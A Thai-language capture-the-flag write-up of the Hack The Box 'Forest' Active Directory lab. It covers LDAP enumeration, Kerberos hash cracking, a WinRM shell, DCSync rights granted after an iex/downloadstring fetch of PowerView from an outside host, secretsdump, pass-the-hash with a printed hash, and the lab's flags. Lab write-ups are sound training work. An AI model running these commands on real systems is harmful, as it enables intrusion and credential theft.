สำหรับข้อ Forest นั้นเป็นโจทย์ระดับ Easy และมี OS เป็น Windows เราสามารถเข้าไปเล่นโจทย์ข้อนี้ได้โดยการใช้ VPN ที่ Hack The Box สร้างให้เรามา โดย Lab นี้เป็น Retired Machines (ต้องสมัคร VIP ถึงจะสามารถเล่น Lab ที่หมดอายุได้นะจ้ะ) แต่ถ้าไม่อยากจะสมัคร VIP ทางเว็ปมี Active Machine ให้เล่นฟรีด้วยนะ แถมได้คะแนนอีกด้วย ส่วน Lab ที่เป็น Retired ถึงจะผ่านได้ แต่เราจะไม่ได้คะแนนนะครับ
Reconnaissance
- Nmap Network Scanning
โดยในส่วนนี้จะเป็นการสแกนเพื่อค้นหา port ที่เครื่องเซิฟเวอร์เปิดอยู่เพื่อดูว่ามีช่องทางให้เราโจมตีได้ไหมนะ โดยคำสั่งที่ใช้ทำการสแกนมีดังนี้
“Nmap -sV <target>”
- sV คือ คำสั่งที่ช่วยให้ค้นหาเวอร์ชั่นของซอฟต์แวร์ที่กำลังใช้งาน
<target> คือ เป้าหมายที่เราต้องการสแกนโดยจะใช้เป็น URL หรือ IP Address เท่านั้น
2) ldapsearch
โดยในส่วนนี้จะเป็นการตรวจสอบว่าโปรโตคอล LDAP สามารถให้เชื่อมต่อแบบ Anonymous ได้หรือไม่ โดยคำสั่งที่ใช้ทำการตรวจสอบมีดังนี้
ldapsearch -h <target> -p <port> -x -b <domain name>
-h คือ host ของ ldap server ที่จะใช้ในการตรวจสอบ
-p คือ port ที่จะใช้ในการตรวจสอบ
-x คือ ใช้ anonymous access
-b คือ การระบุ domain name ที่ใช้ในการตรวจสอบ
<target> คือ เป้าหมายที่เราต้องการสแกนโดยจะใช้เป็น URL หรือ IP Address เท่านั้น
<domain name> คือ ชื่อ Forest ของ Active Directory
Result Reconnaissance
- พบว่ามีการใช้งานโปรโตคอล ldap
- พบว่า domain name ของ Active Directory (AD) คือ htb.local
- พบว่าสามารถใช้ anonymous access ได้ในโปรโตคอล ldap
Enumeration
- windapsearch
โดยในส่วนนี้เราจะทำการ enumeration user จาก Active Directory ซึ่งมี domain name คือ htb.local โดยคำสั่งที่ใช้งานมีดังนี้
windapsearch -d <domain name> --dc-ip <target> -U
-d คือ ระบุ domain name ของ Active Directory (AD)
--dc-ip คือ IP ของ domain controller
-U คือ เป็นการ enumerate user ทั้งหมด
ขั้นตอนต่อไปเราจะทำการ filter user โดยใช้คำสั่ง “objectClass=*”
เราจะค้นหาพบทั้งหมด 312 ผลลัพธ์ เมื่อดูจากผลัพธ์แล้วเราจะเจอ service account ที่ชื่อว่า svc-alfresco ซึ่งขั้นตอนต่อไปเราจะไปทำการหา Kerberos เพื่อใช้ในการ access ดูข้อมูลต่างๆ
2) GetNPUsers / JohnTheRipper
โดยในส่วนนี้เราจะทำการ dump ticket จาก kerberos จาก user : svc-alfresco ที่เราได้มาจากขั้นตอนที่แล้ว
โดยในส่วนนี้เราจะทำการ crack Kerberos โดยใช้เครื่องมือชื่อว่า John The Ripper โดยใช้ wordlist คือ rockyou โดยรหัสที่ทำการ crack สำเร็จ คือ s3rvice
3) Evill-WinRM
โดยในส่วนนี้เราจะทำการใช้ tool ชื่อ evill-winrm ซึ่งเป็นการยิง exploit เพื่อให้ได้ shell ของเครื่องเป้าหมาย โดยใช้ user : svc-alfresco และ password : s3rvice
โดยหลังจากที่เราได้ shell เราจะสามารถพบ ไฟล์ user.txt เราจะเก็บเอาไว้ก่อนค่อยนำไปใส่พร้อมกันตอนสุดท้ายนะครับ
Privilege Escalation
- BloodHound
โดยในขั้นตอนนี้เราทำการ dump relation ของ Active Directory โดยใช้ bloodhound เพื่อทำการดูว่า group ไหนเป็น group ที่ได้ permission ในการเข้าถึงมากที่สุด โดยเราจะได้มาเป็นไฟล์ json ต้องใช้ bloodhound เปิดถึงจะดูได้
โดยจากรูปภาพเราจะเห็นได้ว่า group ที่ได้ permission มากที่สุด คือ EXCHANGE WINDOWS PERMISSION
ดังนั้น ขั้นตอนต่อไปเราจะ add user ใหม่เข้าไปใน domain และ add เข้า group ‘EXCHANGE WINDOWS PERMISSION’
2) PowerView
โดยในขั้นตอนนี้ เราสร้าง user แบบ domain ขึ้นมาใหม่และทำการเพิ่มเข้า group ‘Exchange Windows Permissions’ โดยใช้คำสั่งดังนี้
net user pentest1 P@ssw0rd /add /domainnet group “Exchange Windows Permissions” pentest1 /add
จากนั้นเราจะทำการดาวโหลด powerview และจะใช้คำสั่ง Add-ObjectACL เพื่อ add user เข้า group policy เพื่อให้สามารถ dump hash ได้ โดยใช้คำสั่งดังนี้
iex(new-object net.webclient).downloadstring('http://10.10.14.29:8888/PowerView.ps1')$pass = convertto-securestring 'P@ssw0rd' -asplain -force$cred = new-object system.management.automation.pscredential('htb.local\pentest1',$pass)Add-ObjectACL -PrincipalIdentity pentest1 -Credential $cred -Rights DCSync
3) Secretdump
หลังจากที่เราได้ add user และทำ Add-Object เรียบร้อยแล้ว เราก็จะสามารถใช้ secrectdump ของ impacket เพื่อ dump credential htb.local โดยใช้คำสั่งดังนี้
python3 secretsdump.py htb.local/pentest1:’P@ssw0rd’@10.10.10.161
4) wmiexec
หลังจากที่เราได้ hash ของ htb.local / Administrator มาแล้ว เราจะใช้เทคนิค Pass-the-Hash (PTH) โดยใช้คำสั่งดังนี้
python3 wmiexec.py -hashes ‘aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6’ htb.local/Administrator@10.10.10.161
หลังจากที่เราได้ shell ด้วย user administrator มาแล้ว เราจะพบไฟล์ root.txt บน หน้า Desktop ของ user administrator จากนั้นเราจะไปทดลองใส่คำตอบบน hack the box กันนะครับ
โดย Flag ของ user ที่เราได้มาจะอยู่ใน user : htb.local / svc-alfresco
41c384e631dd43295320d7148d6cfbb4
โดย Flag ของ system ที่เราได้มาจะอยู่ใน user: htb.local / administrator
1c7311bb8faabceaae1348a9fb54834e
เมื่อเราใส่ flag ครบแล้ว เราก็จะผ่านเรียบร้อยยยยยยยนะคับบบ สำหรับ lab นี้จะเป็นเน้นไปทางด้าน network และ
การยึดเครื่อง Active Directory (AD) เป็นส่วนมาก โดยจะใช้ ตัว hash ของ Kerberos ที่เราได้มาไปทำการ crack และเข้าสู่ระบบ
Kerberos Authentication คืออะไรรร ??
Kerberos เป็นมาตรฐานสำหรับการยืนยันตัวตนผ่านระบบเครือข่าย (Network Authentication Protocol) ตัวหนึ่ง ที่ระบุว่าถ้าผู้ใช้งานบนคอมฯ ใด ๆ เวลาจะทำการยืนยันตัวตน (ล็อกอิน) ไปใช้งานระบบใด ๆ ในระบบเครือข่าย จะต้องทำยังไง โดยหลักการในภาพรวมคือผู้ใช้งานจะไปขอตั๋ว (Kerberos ticket) มาจากเซิร์ฟเวอร์ที่ทำหน้าที่เป็น Kerberos Distribution Center (KDC) จากนั้นเอาตั๋วนั้นไปโชว์ให้เครื่องปลายทางที่เราจะล็อกอิน เพื่อการเข้าไปใช้
Pass the Hash (PTH) คืออะไรร ??
เป็นเทคนิค เทคนิคหนึ่งที่ attacker ใช้เพื่อแทนรหัสผ่านในกรณีที่ได้ hash มาแต่ไม่สามารถ crack ให้ออกมาในรูปแบบ plaintext ได้ ซึ่งการโจมตีแบบ pth attacker มักจะ dump hash ได้จาก memory ของระบบซึ่งเก็บ credential ที่เคย login กับเครื่องนั้นๆ